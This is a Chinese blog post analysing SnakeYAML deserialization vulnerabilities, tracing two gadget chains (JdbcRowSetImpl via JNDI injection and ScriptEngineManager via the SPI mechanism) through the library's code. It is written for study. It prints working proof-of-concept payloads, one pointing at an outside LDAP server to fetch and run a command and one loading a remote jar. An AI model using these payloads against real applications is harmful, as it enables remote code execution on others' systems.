Java反序列化漏洞分析合集-2

文章目录

  • 前言
  • Snakeyaml
    • JdbcImpl链子
    • ScriptEngineManager


前言

之前的文章不让继续写了,开一篇新的继续记录自己的学习。

Snakeyaml

SnakeYAML 是一个 Java 中的 YAML 解析器和生成器库。YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化格式,经常用于配置文件和数据交换,它提供了一组简单易用的 API,用于读取和写入 YAML 格式的数据。它可以将 YAML 数据解析为 Java 对象的层次结构,并且可以将 Java 对象序列化为 YAML 格式。SnakeYAML 支持很多 YAML 特性。

yaml主要分为三种数据类型:

  1. 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
  2. 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
  3. 纯量(scalars):单个的、不可再分的值

因为Sankeyaml能够通过Tag标签自定义类名称,并且在反序列化过程中会调用类中的set()方法,导致了反序列化触发RCE的漏洞,这有点与fastsjon的反序列化漏洞相类似,但是官方并不承认这是一种漏洞,它认为这是属于这个库功能的正常行为之一,下面有分析下Sankeyaml的反序列化链子的触发过程。

JdbcImpl链子

前面fastjsonJdbcRowImpl的链子这样同样可以使用,调用setDataSourcesetAutoCommit控制lookup接口的值接入触发RCE,利用这条链子简单分析下SankeYaml触发反序列化的流程。

payload如下,通过!!定义一个完整路径的类作为Tag,然后跟上两个键值对:

    public static void main(String[] args){
        String poc="!!com.sun.rowset.JdbcRowSetImpl {dataSourceName:  ldap://120.79.29.170:1389/Basic/Command/Base64/Y2FsYw==, autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }


  1. 首先进入load()方法中会进入到loadFromReader()方法中,传入的参数为一个Object对象和新创建的StreamReader()方法的结果。

file

  1. 进入到StreamReder()方法中,它其实就是返回了一个新的对象,上面标记了payload的长度length,以及赋上了marknext等值,应该是为了方便后面的处理

  1. loadFromReader()方法中,创建了一个Composer对象,然后调用了setSingleData()方法

file

  1. ParseImpl()构造方法中,调用了ScannerImpl()的构造方法,赋上了一些值,应该也做上一些标记和配置,解析Yaml的数据流

Java反序列化漏洞分析合集-2_第1张图片

  1. 关键在于通过调用构造器方法进入了getSingleData()中,在这个方法中会调用getSingleNode()解析并创建一个节点,这个节点中会有我们自定义的Tag标签和里面的键值对key-velue以及一些解析的标记等等,经过判断Tag标签是否为空以及根Tag是否不会空为进入了constructDocument方法。

Java反序列化漏洞分析合集-2_第2张图片

  1. 通过constructDocument方法构造解析节点的信息,里面会尝试将node节点调用constructObject方法将节点解析为Java的Object对象

Java反序列化漏洞分析合集-2_第3张图片

  1. 它是如何转换为Java对象的呢,它先判断当前属性中是否存在与当前节点对应的Java对象,如果存在则返回该对象,如果不存在则调用constructObjectNoCheck方法创建。

Java反序列化漏洞分析合集-2_第4张图片

  1. constructObjectNoCheck方法中,判断当前节点是否无法构造后,如果可以,则将它添加到recursiveObjects中便于后面递归调用,然后调用getConstruct()方法获取节点的构造器,从constructedObjects是否存在节点构造的Java对象,如果不存在,调用constructor.construct构造节点。

  2. construct()方法中继续调用getConstruct获取到节点构造器后,进入Construct()方法中进行构造

Java反序列化漏洞分析合集-2_第5张图片

  1. 将节点强制转换为MappingNode后,判断节点的类型是否属于Map、Collection类型,这里显然都不是,就会调用newInstance()方法实例化node节点为JdbcRowSetImpl对象,随后进入判断当前节点需要两步构造,不需要则进入constructJavaBean2ndStep方法,需要则直接返回对象。

Java反序列化漏洞分析合集-2_第6张图片

  1. 最终在constructJavaBean2ndStep方法中,经过一堆对ScalarNode的操作后,会来到property.set()方法中

  1. property.set()方法中传入了JdbcRowSetImpl对象,判断是否可写,可写则会调用getWriteMethod().invoke(object, value)触发JdbcRowSetImpl中的方法,这里是setDataSourceName

  1. 然后就会继续迭代循环,继续同样的方法取出里面payload中的key值,经过property.set()后变成了setautocommit(),最终触发setautocommit()导致了JNDI注入。

总的来说,SankeYaml的反序列化漏洞就是会将自定义的Tag实例化为对象后,又会依旧调用里面的key中的set方法,将value作为参数传入,导致了危险。

ScriptEngineManager

关于SPI机制,SPI(Service Provider Interface)机制是Java提供的一种服务扩展机制。它允许在不修改源代码的情况下,通过配置文件的方式替换或增加某个接口的实现类,它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。

下面来简单分析以下使用ScriptEngineManager的SPI机制导致的反序列化漏洞。

    public static void main(String[] args){
        //String poc="!!com.sun.rowset.JdbcRowSetImpl {dataSourceName:  ldap://120.79.29.170:8080/KnsGKbzJ, autoCommit: true}";
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}


  1. 前面与JdbcImpl链并没上面两样,一直都会来到construct方法中,这里的Node节点是SequenceNode

Java反序列化漏洞分析合集-2_第7张图片

  1. 随后会来到getClassForNode方法中,从方法名就可以看出是从节点中获取Class对象,首先获取的肯定是我们的Tag标签的值。

Java反序列化漏洞分析合集-2_第8张图片

  1. 通过反射的方式动态加载Tag标签指向的类,也就是ScriptEngineManager

Java反序列化漏洞分析合集-2_第9张图片

  1. 继续下一步会来到getConstruct方法中,通过调用construct方法来进行构造。

Java反序列化漏洞分析合集-2_第10张图片

  1. 来到construct方法里面,在进行了Set、Collection、Array等一系列判断之后,将构造器赋值到了一个构造器列表当中,然后将获取到的possibleConstructors获取到的第一个数组进行赋值并转换成Constructor类型,再遍历snode的值,逐个动态加载后面的ClassLoader、URL类后,最终进行实例化

Java反序列化漏洞分析合集-2_第11张图片

  1. 至于ScriptEngineManager的实例化,会先进入到构造方法中,将loader赋值为我们的URLloader,随后进入初始化,进行了一系列的赋值,进入到了initEngines()方法中

Java反序列化漏洞分析合集-2_第12张图片

  1. 当它来到itr.next(),会进入next()方法,随后进入到nextService里面

Java反序列化漏洞分析合集-2_第13张图片

  1. nextService方法里面,会对SPI的接口进行动态的记载,并把URLClassloder作为参数传入

  1. 最终会实例化接口的实现类,导致了恶意类的命令执行

Java反序列化漏洞分析合集-2_第14张图片

  1. 这里一共会走两次实例化,第一次实例化的是NashornScriptEngineFactory,第二次实例化才是POC的类,第一次进入会将service中的类信息找到,赋值返回。

Java反序列化漏洞分析合集-2_第15张图片

你可能感兴趣的:(java,web安全)